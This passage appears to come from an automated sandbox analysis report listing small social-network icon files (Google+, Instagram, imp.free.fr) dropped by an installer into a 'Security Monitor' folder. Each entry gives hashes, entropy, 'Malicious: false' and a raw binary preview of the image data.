Preview:	.PNG........IHDR................a....sBIT....\|.d.....pHYs...........~.....tEXtSoftware.Adobe Fireworks CS4.......tEXtCreation Time.12/12/08.Z.....=IDAT8....J.P....DJ.V.hK!b...E.;8..../. 8._.'p..!...I.v.EQi. ...CZ..%..-.s...~.....cr....!."TjR...RY04M....!...s..i....'.r.j...../.>......(.g.....=...2....>~...89.Eq.....?.\.Z......C...cE...\|.I.X.....(I...W.a..zj...O.:.?.........,.....PK...c...Y..5...B..k........jlmn@..S...qe]...z..p.1..\.E..\|...d{{.......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\google+.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.463689107615048
Encrypted:	false
SSDEEP:	24:K/1fhCeNZn1dIxF327RYl2gZArfrReA/T3UqZzqi:K/9hCAZn3EGRYvZMrReA7UMzqi
MD5:	C4CE03C4D6D52FDA15ED85DD35661191
SHA1:	7FC5453E63A2B3C8F5CC17A1A5B9D40E3BBCAA89
SHA-256:	EA932489B1C366D47D33EF6FC4898A11E85C5EF5BA2982A21506FF49BD230B44
SHA-512:	2A332EE917FDCEE81C4F1E19F340498B37AA1B549A1E48E5C5207879F5A6EC1233052A606202CE254E629EE63676BDAA1438D4165D0BF48C3CB4BCC3A26BC907
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ................................................................................................................H.H.#.#............................................b...4...+...X...y...'.'.!.!................................T...H...9..........~...r.r.'.'................................]...T...E...6...'..............&.&................................^...U...C...h..........5.5.-.-.%.%..................."..;..{....................I.I.<.<.4.4.,.,.#.#...............+..>..8.....w.........Z.Z.M.M.C.C.;.;.2.2..*..............3..N..J..j............k.k.\.\.M.M.B.B.9.9.1.1.#.#..........I..w..........}..u.....w...n.n.`.`.Q.Q.F.F.9.9...<.........._.............o..[........L^..Ci..4b..&Q...,...............f.............~..k........jj..QQ..<<..++...................k................w.........ii..ZZ..EE..33..&&...............Z.........................rr..``..LL..;;...................r...X..`...............yy.II

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\google+.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	781
Entropy (8bit):	7.651387048168162
Encrypted:	false
SSDEEP:	24:tfp9eW5Oon3iu7MTGS7ZN6tv1lyvv60hrTcdrU:j9eW5VSOwn4lwi0tGU
MD5:	4121D02B972D718C30E8B41023B894EE
SHA1:	751D347690F151AEAC02DD8C69A1F3D629D1DDD0
SHA-256:	807241CF72D7A2CC7DA63ADE8E22F6D1976E9B5D4B9CEC8479960EF4CE0CAD24
SHA-512:	FCDF69080406D542FA6A460C741BD53B4BC052D26EF930F61381CD05B73DCC1D8F13AE71A786E0C795BBE6889ED044D2CF9427CCC3E29CBF3BB7C97188E31BF0
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx..MH.a.....[..'...m&......h...C...!.....T...%.(l........6...!Z7E.v%.e.u.gfwvg..P../<..........$.8.". ..W..#]..D.L...q..2"N.!.."ar.9V+.....>..++......Y{..Hk.5.av-./.C..x._..1....,...n7.... ......U..>-Ru....t=.-o...p...W...9z.......\...>....V...,P-..Icr"F,..s1l3<....PU.......J......h@../..R.Y}2........f..R`.....=.a.s.F..y.8e.......[.?..<.....JK.."..p...Y...!..H....L.A0.D.....sU..NQGS..(.xF....._y..S.p2N..w....p,.......=.T.^G....p.$.=w.b..4.~. ...FY5q...!z..N....7EG.r.Og.(.o..8....\..6."J......huh../sT..2%2$?.Y.".....b.y.x?.....=@..w..m.p..T..#..+@M.{...=j\|..-E.x.>@.....h...2.H.?.O......t..a.6.......k..n.5.L..3...8~^..%......G.....!......)..fCMMMWjjj.2aL...c.y....&G.......VA.:..I..........!......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\imp.free.fr.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\imp.free.fr.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\instagram.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.836023872190528
Encrypted:	false
SSDEEP:	24:DNZdMMMMYVyz2pwij2kQauIG+wEvP3EkBChMc0kkkkke8x2R+Mxz6wwwwwwwwwwg:3qVyb0up+wEXvku8x2R+MlZwwwwwwwwh
MD5:	881D10F5781985AD7299364314CEB948
SHA1:	4F7B1A21207997EE749EABB0310E6AF507F7A502
SHA-256:	F7DD472A36C95EDC749DCAF7CCD44ADD8D3A9DE083101BDE1DD6994051374082
SHA-512:	476D739E9315B2087B0AE8DA53C8DFEB3747DE7C9548C25648B6254B7A91DCEAC10096DDC04175997D268A32612197BE07C685A4BB33643ED544FBCAC947DF88
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................q...q...q...q...q...q...q...q...q...q...q...q...q...q...q...q...n...n...n...z...................................z...n...n...n...j...j...................................................j...j...g...t.......x...g...g...g...g...g...g...g...g...x.......s...g...c...........c...c...c...h...........g...c...c...c...........c..._\|.........._\|.._\|.........................._\|.._\|.........._\|..\m..........\m..ar......z...\m..\m..{.......`r..\m..........\m..Y_..........Y_..........Y_..Y_..Y_..Y_..........Y_..........Y_..cV..........cV..........cV..cV..cV..cV..........cV..........cV..mN..........mN..rS.......n..mN..mN...o......rS..mN..........mN..xE..........xE..xE...m...................m..xE..xE..........xE...=..........=...=...=...C...n...n...C...=.......N..........=...4...F.......J...4...4...4...4...4...4...4...8...K.......E...4...,...,...l...................................k...,...,...............A.....................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\instagram.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1143
Entropy (8bit):	5.316029185743153
Encrypted:	false
SSDEEP:	12:6v/7u/BKpQr+mJEhtGXJoZ3ZbMzcLLUaMdEAfk8zKGPsl1:5Kpf3GXJoXMwL/MdEAfk87Ez
MD5:	6C2EE6F053AB95D2AA3924EE689E80B9
SHA1:	734FE9B1CAE77E70BE14D79B2A14B545AA249499
SHA-256:	FC44A14405F3747A5D87DD09CCABB3C0E312B5E127929C6E2CF5920F125F132A
SHA-512:	5BA51D89FD4BF61BE55AFC3210FB31ED7DAEA5C44D9829BF0CC48685EF283ADD50F53039748312CD57194085067D88BCD0B9FA0A58C462DA595E2BB54534FFF5
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............(-.S....sRGB.........gAMA......a.....PLTE.Nm.Ex.Sr._Y.Vc.m\.\|_.r`.ra.5..,..4..=..8.....C..N..E..F..J..K..A..k..n..o..m..m..n..l.....c.g.h.z.{.g..j.s.t.x..n..z..q......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................./V.4....pHYs...........~.....tEXtSoftware.paint.net 4.1.6.N......IDAT(S]..;.Q....t..9&K.......R(.U(!DD....<.....y....eE......X.p.+4...f.k....n....E)e(.....%..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-1UD2J.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-2MFG4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.463689107615048
Encrypted:	false
SSDEEP:	24:K/1fhCeNZn1dIxF327RYl2gZArfrReA/T3UqZzqi:K/9hCAZn3EGRYvZMrReA7UMzqi
MD5:	C4CE03C4D6D52FDA15ED85DD35661191
SHA1:	7FC5453E63A2B3C8F5CC17A1A5B9D40E3BBCAA89
SHA-256:	EA932489B1C366D47D33EF6FC4898A11E85C5EF5BA2982A21506FF49BD230B44
SHA-512:	2A332EE917FDCEE81C4F1E19F340498B37AA1B549A1E48E5C5207879F5A6EC1233052A606202CE254E629EE63676BDAA1438D4165D0BF48C3CB4BCC3A26BC907
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ................................................................................................................H.H.#.#............................................b...4...+...X...y...'.'.!.!................................T...H...9..........~...r.r.'.'................................]...T...E...6...'..............&.&................................^...U...C...h..........5.5.-.-.%.%..................."..;..{....................I.I.<.<.4.4.,.,.#.#...............+..>..8.....w.........Z.Z.M.M.C.C.;.;.2.2..*..............3..N..J..j............k.k.\.\.M.M.B.B.9.9.1.1.#.#..........I..w..........}..u.....w...n.n.`.`.Q.Q.F.F.9.9...<.........._.............o..[........L^..Ci..4b..&Q...,...............f.............~..k........jj..QQ..<<..++...................k................w.........ii..ZZ..EE..33..&&...............Z.........................rr..``..LL..;;...................r...X..`...............yy.II

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-3KI34.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	597
Entropy (8bit):	7.503484841838105
Encrypted:	false
SSDEEP:	12:6v/7w7/6TVuA6q45LsaGcUiSVgYtyHUzX8hXqY+sP5yuRGe0zwcu6S:X7/6xft45LqcUjGYUUzX8hXfPP0uiksS
MD5:	535102101CF2549EAAC03D4D2424C607
SHA1:	70BF44C6E737D6127182AB1D38840A448ED6A162
SHA-256:	2E520CE5AAAF8A0DC35E182FE8986438B8CAB107221304AB4C9EAA901E1956AE
SHA-512:	FA510429D278EDFC7576EC900B88A60D1E09B656CF558F16DBB1404137F372B89D67AD9B06EF6114D7353E4501486FEFD9284B888E53D29B8364604504C377D8
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sBIT....\|.d.....pHYs.................IDAT8..Mh.Q...{3.....&.1..Zqg.i.A%.`.\...F.(....(.....q.E.e.mA..Z.XK..6.L3..ys]....Wzv..s..........yj.&[..t....U.0....;.\|..[.....%..J.HbZ..T.......T.<BPJ..0p....1~[.OFgv...dLj..:D..'..Y...?t}ziMwx.@#..jj..S.c..<...o%s..M.tbI...........5...w.Q2i...i%./...\|..s...u.j&.............k..9..r,.....p..9qW..bRi..W....}DC....T..E<\|T0......0Ijx....\V.t...._..d.[....S.p(......>.....o.m...T[.pl[h..3.#..rE..v...wM..8[......h.,..G.~'...m?...5..V...e.b.=.7.!...D4....q)....%B.m?...o..#..9w1......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-4DR51.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-512JL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	3.5696063839477725
Encrypted:	false
SSDEEP:	12:0onYbuFo5fA8aRoEttw4HX1Jur9OrnYGKBjD21cmex8ZJnISD:9loEttw8uWy9sYK
MD5:	4F38A1E43DE6E4F1BD4BDBCC55706408
SHA1:	BBBDFB099C1921BD944230FC37DC9963FD2EED81
SHA-256:	9CA3C995F7DB760EFF9ED69DFDBA578481CAB520D164F1B7A1201E1DFB7AAA66
SHA-512:	6840EAE20F876A5DE457AB3DC703E28D302FB640E641F9AC2117D8EF30DF447BCC265F3CDC68DA5EE21CF14AA0FFB7AD6873C041DF016DD536018E7BC9E59A90
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ........................................q...................................b.......................................!...............s...................................................................................................x...............................................................MJ...................g...8......................................*#...................................e..~........................................]......................"....................................S.......X...................... ....................................^...............................................i...........................K..........................?...n....................,......................y...J...........................J...................................................................................................................................4...........o..................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-5S1O8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-62MML.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1143
Entropy (8bit):	5.316029185743153
Encrypted:	false
SSDEEP:	12:6v/7u/BKpQr+mJEhtGXJoZ3ZbMzcLLUaMdEAfk8zKGPsl1:5Kpf3GXJoXMwL/MdEAfk87Ez
MD5:	6C2EE6F053AB95D2AA3924EE689E80B9
SHA1:	734FE9B1CAE77E70BE14D79B2A14B545AA249499
SHA-256:	FC44A14405F3747A5D87DD09CCABB3C0E312B5E127929C6E2CF5920F125F132A
SHA-512:	5BA51D89FD4BF61BE55AFC3210FB31ED7DAEA5C44D9829BF0CC48685EF283ADD50F53039748312CD57194085067D88BCD0B9FA0A58C462DA595E2BB54534FFF5
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............(-.S....sRGB.........gAMA......a.....PLTE.Nm.Ex.Sr._Y.Vc.m\.\|_.r`.ra.5..,..4..=..8.....C..N..E..F..J..K..A..k..n..o..m..m..n..l.....c.g.h.z.{.g..j.s.t.x..n..z..q......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................./V.4....pHYs...........~.....tEXtSoftware.paint.net 4.1.6.N......IDAT(S]..;.Q....t..9&K.......R(.U(!DD....<.....y....eE......X.p.+4...f.k....n....E)e(.....%..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-68EAB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-710RD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-7L8PL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	699
Entropy (8bit):	7.652754071132357
Encrypted:	false
SSDEEP:	12:6v/7WaWgISPVxzQYiM4U3qwAwJms1184FTquLwsObH6yk2CrJ61:rnuzKMf3pXmg/FDoZkd61
MD5:	6A1DE861212D48E1899DF21E458C1542
SHA1:	02A81BF8ADE97DAC769CD1DBA84A207431E077CF
SHA-256:	052EE2A81A293DC611CE88300798DBA2B2E7B0CD924C099CB9B6B8C3D4B354D1
SHA-512:	6EEC1E50166CBCB04C7A53AC7A94CC0133788FABC4E2B781F076B69DF3B906BDC07A4CB99CBF02F2E0B5F273DD3152DBDF2405BA78EDFD694034B7CA9545B458
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.e.Kh.Q...;.I&.T..M.v..q.(.}(b[......"...V.Rm.......BD..ji...m......TteC...M2y\.....y....g.a..'..+.~.10.q.._0._.Yy..m>.d-.(.V..d`".6........u.w..).....\|...$3Y.,;...%..H'.....iXWS.k.7!.....S"......ds.g..q`.{Tx....l..D.]/..AV..[....5\...T......r.Kh#W..B...pi...\.CS...2..W^..a..:...(.;B..t4....J*..W+\|.oc.7..B.%.........(.L...FDh.f.......EM.....8........+I.....C...n...._.?..../.....~t...q..6.....E.b..j...7#8M......p1.^.G.u.k.._.=E.cu.a.S7...E..[Q..h&.....E?.'0\..@....a.0."..M....m..c..........8.&.s.1.h .R.;.6..}w"8A.&......J..........`840w.#..3..X.V:y.>[.Y......J.3o..2Yn.5.esHC...;~.@.5.....K{.;`A.......".........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-8UFSF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-9JCT8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	485
Entropy (8bit):	7.183161975210355
Encrypted:	false
SSDEEP:	12:6v/7wM6ZjkLD81AWeAqr9XoQh35hBMjExRnj8OiD1i77sOw3N:XMfLDMe/4QFTyExl8Oihi8OIN
MD5:	E09587AD1847CF4E2AD03524A3C1CA7D
SHA1:	9564E6F66C74E3079F2DDA05A6A61742FB23683D
SHA-256:	603A9A84F0E095585BD39B27CD4C4D194A4A45C664373D636E493C2841084957
SHA-512:	5A00DB9331B1F1536C6152BF99F7245D159E46101122FA6827B0D5EF8D0377DB66DBB4CEAECA69F1AEC8FDDE51B506CB471B58A34E8A3DF09BAE0FC3F117CA2A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sBIT....\|.d.....pHYs...........~.....tEXtSoftware.Adobe Fireworks CS4.......tEXtCreation Time.12/12/08.Z.....=IDAT8....J.P....DJ.V.hK!b...E.;8..../. 8._.'p..!...I.v.EQi. ...CZ..%..-.s...~.....cr....!."TjR...RY04M....!...s..i....'.r.j...../.>......(.g.....=...2....>~...89.Eq.....?.\.Z......C...cE...\|.I.X.....(I...W.a..zj...O.:.?.........,.....PK...c...Y..5...B..k........jlmn@..S...qe]...z..p.1..\.E..\|...d{{.......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-9OAEM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	658
Entropy (8bit):	7.412255128365162
Encrypted:	false
SSDEEP:	12:6v/7wM6ZjAgxNF+Q7L4f031MIYJqGdhz90Iq7AGg71T+51fDPgME:XMOxbL4+S1nJ0xk71TYzgP
MD5:	79AEBF6646108C56AA59E1D27672A308
SHA1:	BAA186067518DFA1F18A2AFCB50AF03041E40AA4
SHA-256:	B64E7582BFD5CD8AAE7F9AB31B2B12AFF640857B6670873D94C15D0CE70533D9
SHA-512:	D41A2F5A204B43DADF5CC461EB1E713187B6AF616FF651A06299574C7BE1E8E9A634E9259C3B63594E627DE2FC8B5DE4CC02FD2DF5F51E924E74C74A7EAD515A
Malicious:	false
Reputation:	unknown
